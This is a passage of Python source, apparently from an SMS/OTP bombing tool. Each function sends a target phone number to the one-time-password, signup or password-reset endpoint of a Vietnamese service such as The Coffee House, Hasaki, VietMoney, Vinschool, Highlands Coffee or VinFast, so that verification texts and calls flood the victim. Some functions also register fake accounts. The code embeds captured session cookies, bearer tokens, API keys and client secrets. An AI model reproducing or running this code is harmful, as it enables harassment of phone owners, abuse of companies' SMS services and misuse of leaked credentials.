	response = requests.post('https://www.kkfashion.vn/dang-nhap', params=params, cookies=cookies, headers=headers, data=data)

	cookies = {
		'_qg_fts': '1721578581',
		'QGUserId': '1896938940101377',
		'_qg_pushrequest': 'true',
		'_qg_cm': '1',
		'PHPSESSID': 'd6e6f38ea2j2tf3m264h26599v',
		'jpresta_cache_source_6666cd76f96956469e7be39d750cc7d9': '2',
		'PrestaShop-7cbf831598fa6791cd6d07d5b5873d26': 'def5020068bc9968a1f8eaaf0c1d13a95cc8f785bc1e80ef97d2381149d44416b718ea0e1ec703548d1e2c36c17c2fc7bb621176cc5144ba9afbd8e52ab34e62676287139a492a5fb1df85974c1d817955c9dbd66fb0048b6d55396eb82141cd0082257db6f741e461e897ac3bab90f3da71886e4b0a4c48699290185853153f52531995e21cea01e5f336ee0b4f2be6b6eb24eab82935a13898ef71d00e23f59018d4a57353e0ed77c1d620ca46aa302c8dee2b3b4befd342b1db81d32f88c89cc27c55af97e559e6c67e0fc37871bb29cdedb3f218d114857262c878fb3cc1d18c81bb76981cbbc5b2c4f9598485b794288ecc2a4c5f7ad27f78838b5b898f137721fef9c7625ee410bd91cbe2ae87d3a0e2700c5bff120321beec50628206',
		'jpresta_cache_context': 'e67fa49f-162d-11ee-9cf4-0692000019e5',
		'PrestaShop-03bfe1c20f5691800e1f882876466fe7': 'def502004244d73ba44dfc4e9f94dfa641d33aa71985561b821acd2d8a87e724e19921f344cb9602cba1c49d99a5e60c05d71d9022fe3ecb2c8832b6bf3deb69101ae3e8872ff32d28a90f0687bd88bd84ca74216d1e312c2a43f84130230fff88fcc2289870ac6445e93d49ce1bb2bc14b780a65adfea4923c5e9e5a8eb4fde527ca1692bb6e01c850b86614cddd69e138438283f8230e315366ede432762e712bf75a18fd0c078028c11dbeeb8e0813a23608919ec47e413cdc60d0da1cea2cd3f327402ce72e7db4fb60d77d2f7096b6fb0b4bdfc015e4d374f3b143d11c5c5d15b17093c695393ccf24bc6122ec7e960e25b94187f73735c06eb0b71e16d333dd26ea6f24904b4a46e4558359cd94743',
	}

	headers = {
		'accept': 'application/json, text/javascript, */*; q=0.01',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
		# 'cookie': '_qg_fts=1721578581; QGUserId=1896938940101377; _qg_pushrequest=true; _qg_cm=1; PHPSESSID=d6e6f38ea2j2tf3m264h26599v; jpresta_cache_source_6666cd76f96956469e7be39d750cc7d9=2; PrestaShop-7cbf831598fa6791cd6d07d5b5873d26=def5020068bc9968a1f8eaaf0c1d13a95cc8f785bc1e80ef97d2381149d44416b718ea0e1ec703548d1e2c36c17c2fc7bb621176cc5144ba9afbd8e52ab34e62676287139a492a5fb1df85974c1d817955c9dbd66fb0048b6d55396eb82141cd0082257db6f741e461e897ac3bab90f3da71886e4b0a4c48699290185853153f52531995e21cea01e5f336ee0b4f2be6b6eb24eab82935a13898ef71d00e23f59018d4a57353e0ed77c1d620ca46aa302c8dee2b3b4befd342b1db81d32f88c89cc27c55af97e559e6c67e0fc37871bb29cdedb3f218d114857262c878fb3cc1d18c81bb76981cbbc5b2c4f9598485b794288ecc2a4c5f7ad27f78838b5b898f137721fef9c7625ee410bd91cbe2ae87d3a0e2700c5bff120321beec50628206; jpresta_cache_context=e67fa49f-162d-11ee-9cf4-0692000019e5; PrestaShop-03bfe1c20f5691800e1f882876466fe7=def502004244d73ba44dfc4e9f94dfa641d33aa71985561b821acd2d8a87e724e19921f344cb9602cba1c49d99a5e60c05d71d9022fe3ecb2c8832b6bf3deb69101ae3e8872ff32d28a90f0687bd88bd84ca74216d1e312c2a43f84130230fff88fcc2289870ac6445e93d49ce1bb2bc14b780a65adfea4923c5e9e5a8eb4fde527ca1692bb6e01c850b86614cddd69e138438283f8230e315366ede432762e712bf75a18fd0c078028c11dbeeb8e0813a23608919ec47e413cdc60d0da1cea2cd3f327402ce72e7db4fb60d77d2f7096b6fb0b4bdfc015e4d374f3b143d11c5c5d15b17093c695393ccf24bc6122ec7e960e25b94187f73735c06eb0b71e16d333dd26ea6f24904b4a46e4558359cd94743',
		'origin': 'https://www.kkfashion.vn',
		'priority': 'u=1, i',
		'referer': 'https://www.kkfashion.vn/khoi-phuc-mat-khau',
		'sec-ch-ua': '"Chromium";v="128", "Not;A=Brand";v="24", "Opera";v="114"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-origin',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0',
		'x-requested-with': 'XMLHttpRequest',
	}

	data = {
		'phone': sdt,
		'otpcode': '',
	}

	try:
		response = requests.post('https://www.kkfashion.vn/module/nj_sms/forgotPassword', cookies=cookies, headers=headers, data=data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def thecoffeehouse(sdt):
	cookies = {
		'_fbp': 'fb.1.1735445416958.421812788735503682',
		'_ga': 'GA1.1.1468517502.1735445416',
		'_ga_8WYX50CXX1': 'GS1.1.1735445416.1.0.1735445416.60.0.0',
		'_gat': '1',
		'_gat_gtag_UA_74991073_10': '1',
		'_gid': 'GA1.2.422886087.1735445416',
	}

	headers = {
		'Host': 'api.thecoffeehouse.com',
		'Accept': 'application/json',
		'TCH-DEVICE-ID': '07656846-4793-4232-8209-B756630A7277',
		'Accept-Language': 'vi',
		'Content-Type': 'application/json; charset=utf-8',
		'User-Agent': '(iPhone7; iOS 15.8.2)',
		'TCH-APP-VERSION': '5.9.31',
		# 'Cookie': '_fbp=fb.1.1735445416958.421812788735503682; _ga=GA1.1.1468517502.1735445416; _ga_8WYX50CXX1=GS1.1.1735445416.1.0.1735445416.60.0.0; _gat=1; _gat_gtag_UA_74991073_10=1; _gid=GA1.2.422886087.1735445416',
		'TCH-APP-DEVICE-CHECK': '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',
	}

	json_data = {
		'phone': {
			'phone_number': sdt,
			'region_code': '+84',
		},
	}

	try:
		response = requests.post('https://api.thecoffeehouse.com/api/v5/auth/request-otp', cookies=cookies, headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def hasaki(sdt):
	cookies = {
		'HASAKI_SESSID': '900e892e3fe58b9cb88bfe7fe64966b5',
		'form_key': '900e892e3fe58b9cb88bfe7fe64966b5',
		'sessionChecked': '1733543841',
	}

	headers = {
		'Host': 'api.hasaki.vn',
		# 'Cookie': 'HASAKI_SESSID=900e892e3fe58b9cb88bfe7fe64966b5; form_key=900e892e3fe58b9cb88bfe7fe64966b5; sessionChecked=1733543841',
		'content-type': 'application/json; charset=utf-8',
		'mobileappversion': '2.3.87',
		'mobileregion': 'VN',
		'accept': 'application/json',
		'mobileosversion': '15.8.2',
		'accept-language': 'vi-VN,vi;q=0.9',
		'mobilecartid': '0',
		'mobiledeviceid': '597F2031-B49F-4701-8A48-A94D58BA5DDB',
		'user-agent': 'Hasaki.vn/1 CFNetwork/1335.0.3.4 Darwin/21.6.0',
		'mobileplatform': 'ios',
	}

	params = {
		'username': sdt,
	}

	try:
		response = requests.get('https://api.hasaki.vn/mobile/v3/user/get-code-verify', params=params, cookies=cookies, headers=headers)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def vietmoney(sdt):
	headers = {
		'Host': 'gateway.vietmoney.vn',
		'accept': 'application/json, text/plain, */*',
		'content-type': 'application/json',
		'user-agent': 'VietMoney/166 CFNetwork/1335.0.3.4 Darwin/21.6.0',
		'accept-language': 'vi-VN,vi;q=0.9',
	}

	json_data = {
		'phone': sdt,
		'otpMethod': 'sms',
	}

	try:
		response = requests.post('https://gateway.vietmoney.vn/digital-svc/v1/auth/signup', headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def vietmoneycall(sdt): # 429
	headers = {
		'Host': 'gateway.vietmoney.vn',
		'accept': 'application/json, text/plain, */*',
		'content-type': 'application/json',
		'user-agent': 'VietMoney/166 CFNetwork/1335.0.3.4 Darwin/21.6.0',
		'accept-language': 'vi-VN,vi;q=0.9',
	}

	json_data = {
		'phone': sdt,
		'otpMethod': 'call',
	}


	try:
		response = requests.post('https://gateway.vietmoney.vn/digital-svc/v1/auth/signup', headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def vinschool(sdt): #ap
	headers = {
		'Host': 'one-api.vinschool.edu.vn',
		'accept': 'application/json, text/plain, */*',
		'content-type': 'application/json',
		'cache-control': 'no-store',
		'user-agent': 'Vinschool/3 CFNetwork/1335.0.3.4 Darwin/21.6.0',
		'accept-language': 'vi-VN,vi;q=0.9',
	}

	json_data = {
		'phone_number': sdt,
		'unique_id': '274889DD-7051-4F23-9A28-F54E73F77A9A',
	}

	try:
		response = requests.post(
			'https://one-api.vinschool.edu.vn/api/master-data/v2/account/login/send-otp',
			headers=headers,
			json=json_data,
		)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def homeid(sdt): #ap
	headers = {
		'Host': 'www.googleapis.com',
		'x-client-version': 'iOS/FirebaseSDK/7.3.0/FirebaseCore-iOS',
		'content-type': 'application/json',
		'accept': '*/*',
		'x-ios-bundle-identifier': 'asia.homeid',
		'user-agent': 'FirebaseAuth.iOS/7.3.0 asia.homeid/1.1.6 iPhone/15.8.2 hw/iPhone9_3',
		'accept-language': 'vi',
	}

	params = {
		'key': 'AIzaSyBMwQDLKUqLZskG_4QBWSU79RUCYeXclwQ',
	}

	json_data = {
		'iosReceipt': 'AEFDNu_9qDiFRHvwruvGQjzmiO9YoKu03VGru0yCGiM6oKh6PfOTvTNPb5S2uv2EPQeHYSj_aMc9G71N3IMexyRojZqWz5g2z9rTFplJn__93x-tJkJge7g',
		'iosSecret': '1UHmX596jgq1PjGV',
		'phoneNumber': sdtt(sdt),
	}

	try:
		response = requests.post(
			'https://www.googleapis.com/identitytoolkit/v3/relyingparty/sendVerificationCode',
			params=params,
			headers=headers,
			json=json_data,
		)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def highlands(sdt): #ap 
	cookies = {
		'.diadiem.Session': 'CfDJ8PoFpWVp%2FpdMhR9HbDRDTjvQ3P9oiWq7sLAZDIAEIJQkq1BCCexcaXOOw8h2osc2O%2B%2BbBmX%2F9TgsuKk35ZhirG%2B%2BZ0OyTD6CoQLnnRPN3I%2BtfIDD%2BJr70J8%2F9XnoUu0%2B%2BkcY2YLmrP0lKTsNgRvIhNFewRV0rfR7gdO7zje9PxnU',
		'route': '1734771032.298.37.687218|d5b38695e274be05122762aeb7f81e07',
	}

	headers = {
		'Host': 'api-app.highlandscoffee.com.vn',
		# 'Cookie': '.diadiem.Session=CfDJ8PoFpWVp%2FpdMhR9HbDRDTjvQ3P9oiWq7sLAZDIAEIJQkq1BCCexcaXOOw8h2osc2O%2B%2BbBmX%2F9TgsuKk35ZhirG%2B%2BZ0OyTD6CoQLnnRPN3I%2BtfIDD%2BJr70J8%2F9XnoUu0%2B%2BkcY2YLmrP0lKTsNgRvIhNFewRV0rfR7gdO7zje9PxnU; route=1734771032.298.37.687218|d5b38695e274be05122762aeb7f81e07',
		'content-type': 'application/json',
		'accept': 'application/json',
		'authorization': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjBhYmUxZmFlLWI4YzUtNDhmYy1iYzhjLTVlOTA5ODNjY2VmNyJ9.eyJVc2VyR3VpZCI6IkN1c3RvbWVyLzIiLCJEZXZpY2VHdWlkIjoiRGV2aWNlLzQiLCJMb2NhdGlvbkd1aWQiOiJMb2NhdGlvbi80IiwiS2V5RGV2aWNlIjoiRTJWQy1KTUwzLTRXWFEiLCJEZXZpY2VUeXBlIjoiMSIsIm5iZiI6MTczNDc3MTAyMCwiZXhwIjoxNzM3OTY3ODIwLCJpYXQiOjE3MzQ3NzEwMjAsImlzcyI6Imh0dHBzOi8vYXBpLWFwcC5oaWdobGFuZHNjb2ZmZWUuY29tLnZuIiwiYXVkIjoiaHR0cHM6Ly9hcGktYXBwLmhpZ2hsYW5kc2NvZmZlZS5jb20udm4ifQ.s1f5aqFBATZGDqgA69uFYle-UsEH_4mqdb8-3euaRXk',
		'x-auth-checksum': '14129e5f51e48ae7ff9d12116c80e1d33bf2c56e355412683ca33c17732e6012',
		'x-auth-timestamp': '1734771031306',
		'accept-language': 'vi',
		'x-auth-signature': 'b75377e9453f0644fce99ba40305dd1cf3371438cd03f36e92c4da19f3ca7493',
		'user-agent': 'PendoGO/4.1.15 (com.vti.highlands; build:1; iOS 15.8.2) Alamofire/5.9.1',
		'x-auth-nonce': '1734771031306155',
		'x-auth-devicecode': 'E2VC-JML3-4WXQ',
	}
	json_data = {
		'UserAccount': sdtt(sdt),
	}

	try:
		response = requests.post(
			'https://api-app.highlandscoffee.com.vn/api/v3/authentication/otp/send',
			cookies=cookies,
			headers=headers,
			json=json_data,
		)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def meeyland(sdt): #ap
	headers = {
		'accept': '*/*',
		'accept-language': 'vi-VN',
		'content-type': 'application/json',
		'origin': 'https://meeyland.com',
		'priority': 'u=1, i',
		'referer': 'https://meeyland.com/',
		'sec-ch-ua': '"Chromium";v="130", "Opera";v="115", "Not?A_Brand";v="99"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'cross-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 OPR/115.0.0.0',
		'x-affilate-id': 'undefined',
		'x-browser-id': 'undefined',
		'x-client-id': 'meeyland',
		'x-partner-id': '',
		'x-time': '1737255198154',
		'x-token': 'MTczGlBxoNzI1NTE5ODE1NgPI3uC5HaVp1U092emh0THhYYnZPWnZWRmxGRp7FRxlBSdGlYaG53Y3F6Y3LvcUuFaTVBxTU5XZUNVdXlyaFRsrPLNaGAGA3Dts3pRFVDRlFoY2VtZFRTcVNoLjgxMmMyYjY2NTNjNTljMWEwOWZmZmExYTFkYzAyN2Iy',
	}

	json_data = {
		'target': sdt,
		'type': 'phone',
		'refCode': '',
	}

	try:
		response = requests.post('https://v3.meeyid.com/auth/v4.3/login', headers=headers, json=json_data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def vinfastescooter(sdt): #ap
	headers = {
		'Host': 'escooter-api.vinfast.vn',
		'content-type': 'application/json',
		'accept': 'application/json',
		'app_version': '2.25.0',
		'accept-language': 'vi-VN',
		'platform': 'Ios',
		'player_id': '8e6a098f-aeac-4c62-94a2-fd361c2a5f74',
		'user-agent': 'eScooter/2024.1213.1812 CFNetwork/1335.0.3.4 Darwin/21.6.0',
		'client_id': 'IOS00000009GNY9TB9YXKKY809QRK5SH',
		'device_id': '59A17FFC-EABF-42F6-B692-E2FC7CC39CEC',
		'os_version': 'ios15.8.2',
		'client_secret': 'IOS00009GNY9TB9YXKKY809QRK5SH9012345678901234567890123456789654',
		'device_model': 'Iphone 4.7"',
	}

	json_data = {
		'type': 'REGISTRATION',
		'mobile_number': sdt,
	}

	try:
		response = requests.post(
			'https://escooter-api.vinfast.vn/api-gateway/otp-management/v1.0/otp/generate',
			headers=headers,
			json=json_data,
		)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def taskal(sdt): #ap vinchat
	cookies = {
		'tio_session': '1887448383557107712',
	}

	headers = {
		'Host': 'tchat.telesafe.me',
		# 'Cookie': 'tio_session=1887448383557107712',
		'content-type': 'application/json; charset=UTF-8',
		'tio-bundleid': 'vinchat',
		'accept': '*/*',
		'tio-appversion': '1.1.8',
		'tio-deviceinfo': 'iPhone XR',
		'tio-cid': '59',
		'tio-resolution': '828,1792',
		'accept-language': 'vi-VN;q=1',
		'tio-imei': '6c452635e6b0465a9c91eb7c0c579d09',
		'tio-size': 'iPhone11,8',
		'user-agent': 'VinTalk/1.1.8 (iPhone; iOS 17.4.1; Scale/2.00)',
		'tio-operator': 'Viettel',
		'tio-idfa': '00000000-0000-0000-0000-000000000000',
	}

	data = {
		'country': '+84',
		'deviceId': '6c452635e6b0465a9c91eb7c0c579d09',
		'p_is_ios': '1',
		'phone': sdt[1:10],
	}

	try:
		response = requests.post('https://tchat.telesafe.me/mytio/extotp/request.tio_x', cookies=cookies, headers=headers, data=data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def star_t(sdt): #ap
	headers = {
		'Host': 'www.googleapis.com',
		'x-client-version': 'iOS/FirebaseSDK/6.9.2/FirebaseCore-iOS',
		'content-type': 'application/json',
		'accept': '*/*',
		'x-ios-bundle-identifier': 'com.ywmobile.rocket.star',
		'user-agent': 'FirebaseAuth.iOS/6.9.2 com.ywmobile.rocket.star/2.0.24 iPhone/15.8.2 hw/iPhone9_3',
		'accept-language': 'vi',
	}

	params = {
		'key': 'AIzaSyA0EhB-nkhZxd6mkVCXg-jIwWdIcotqL8g',
	}

	json_data = {
		'iosReceipt': 'AEFDNu_6rjcr3q-KWR56_JNNvcF72llii9GifB96ncXsPIpMf1BGoW-ylljFYYGlclZ5JdvBB54WDyKA6pLJMiUKj54fePMPam87XuG2j1mKIHefOuS06OZkP2xnC_57cx_tK88',
		'iosSecret': 'FPPFuD-2vXQRJWZL',
		'phoneNumber': sdtt(sdt),
	}

	try:
		response = requests.post(
			'https://www.googleapis.com/identitytoolkit/v3/relyingparty/sendVerificationCode',
			params=params,
			headers=headers,
			json=json_data,
		)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def nhadatvui(sdt):
	cookies = {
		'XSRF-TOKEN': 'eyJpdiI6IjRtck1EbDlmVVgwMUR6dWRBWWdLclE9PSIsInZhbHVlIjoibE1NUnk4LzBEcnpQWEJxemc1Ujgyb0paV0F1bWRMNGQreTMwU2U0WWxNb1hPNDluaUJXcTlFSk51TzhFcENZVzlCSEgrbFdkK01Ra2FOVndHemthZVlyY2ZUMUpoTzZ2ajNob05penI4WDhlU2NOZjZOM0F2b1Rpdk1IeitEcisiLCJtYWMiOiJhN2MyMTFjOGI5ZTFkZTZkMmFlNDQ2YWU3NzkxNTEyNzc5YjNiNjY5OWMyNDkzNDM1Y2QxNTliOWMzZWFkNGIyIiwidGFnIjoiIn0%3D',
		'nhadatvui_session': 'eyJpdiI6IjhKdU53dkJEN0ExU2g2ajhZTUU1RWc9PSIsInZhbHVlIjoiZ2xlMUtIVklZVG4wbmI5MFFJRXJ6NVlGWjkrczQ3cjdUUU5CYlFUSmoyVjIya1VsNnplaUZPREkvaklDT1c4YXBoUTljRFF0OUNlTHBqTWVnejMvdmI1SkdUY2hEeUVMY29qNlJDSnlFMjdPNXFsaWt2ZUt1WkJtYTdNMmhJUGciLCJtYWMiOiI1MDBmYzhlNDJiNGQ4MzBlNGZlM2NhZmVlZTRhY2Q4Y2RkMTQ1OTVlY2YzZjkwYjEwMmJiZjk0YjI2ZGY5MzkxIiwidGFnIjoiIn0%3D',
	}

	headers = {
		'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
		'Accept-Language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'Cache-Control': 'max-age=0',
		'Connection': 'keep-alive',
		'Content-Type': 'application/x-www-form-urlencoded',
		# 'Cookie': 'XSRF-TOKEN=eyJpdiI6IjRtck1EbDlmVVgwMUR6dWRBWWdLclE9PSIsInZhbHVlIjoibE1NUnk4LzBEcnpQWEJxemc1Ujgyb0paV0F1bWRMNGQreTMwU2U0WWxNb1hPNDluaUJXcTlFSk51TzhFcENZVzlCSEgrbFdkK01Ra2FOVndHemthZVlyY2ZUMUpoTzZ2ajNob05penI4WDhlU2NOZjZOM0F2b1Rpdk1IeitEcisiLCJtYWMiOiJhN2MyMTFjOGI5ZTFkZTZkMmFlNDQ2YWU3NzkxNTEyNzc5YjNiNjY5OWMyNDkzNDM1Y2QxNTliOWMzZWFkNGIyIiwidGFnIjoiIn0%3D; nhadatvui_session=eyJpdiI6IjhKdU53dkJEN0ExU2g2ajhZTUU1RWc9PSIsInZhbHVlIjoiZ2xlMUtIVklZVG4wbmI5MFFJRXJ6NVlGWjkrczQ3cjdUUU5CYlFUSmoyVjIya1VsNnplaUZPREkvaklDT1c4YXBoUTljRFF0OUNlTHBqTWVnejMvdmI1SkdUY2hEeUVMY29qNlJDSnlFMjdPNXFsaWt2ZUt1WkJtYTdNMmhJUGciLCJtYWMiOiI1MDBmYzhlNDJiNGQ4MzBlNGZlM2NhZmVlZTRhY2Q4Y2RkMTQ1OTVlY2YzZjkwYjEwMmJiZjk0YjI2ZGY5MzkxIiwidGFnIjoiIn0%3D',
		'Origin': 'https://nhadatvui.vn',
		'Referer': 'https://nhadatvui.vn/user/register/phone',
		'Sec-Fetch-Dest': 'document',
		'Sec-Fetch-Mode': 'navigate',
		'Sec-Fetch-Site': 'same-origin',
		'Sec-Fetch-User': '?1',
		'Upgrade-Insecure-Requests': '1',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0',
		'sec-ch-ua': '"Opera";v="116", "Chromium";v="131", "Not_A Brand";v="24"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
	}

	data = {
		'_token': 'g5n9m9gJNIexHjrCiRgAujIM9cu5n9eRn3h26UGP',
		'g-token': '',
		'phone': sdt,
		'password': '123123aA@',
	}

	try:
		response = requests.post('https://nhadatvui.vn/user/register/phone', cookies=cookies, headers=headers, data=data)
		response.raise_for_status()  # Raise an exception for HTTP errors
		return True
	except requests.exceptions.RequestException:
		return False

def thuongdo(sdt):
	headers = {
		'accept': 'application/json',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'authorization': 'Bearer',
		'content-type': 'application/json',
		'origin': 'https://client.hangve.com',
		'priority': 'u=1, i',
		'referer': 'https://client.hangve.com/',
		'sec-ch-ua': '"Chromium";v="130", "Opera";v="115", "Not?A_Brand";v="99"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-site',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 OPR/115.0.0.0',
		'x-organization': 'https://client.hangve.com',
	}
	random_email = generate_random_email()
	json_data = {
		'email': random_email,
		'password': '123123aA@',
		'name': 'tran dat',
		'phone_number': sdt,
		'warehouse_id': 1,
		'service': 1,
	}

	response = requests.post('https://api-client.hangve.com/api/auth/sign-up/', headers=headers, json=json_data)
	headers = {
		'accept': 'application/json, text/plain, */*',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'authorization': 'Bearer',
		'origin': 'https://client.hangve.com',
		'priority': 'u=1, i',
		'referer': 'https://client.hangve.com/',
		'sec-ch-ua': '"Chromium";v="130", "Opera";v="115", "Not?A_Brand";v="99"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
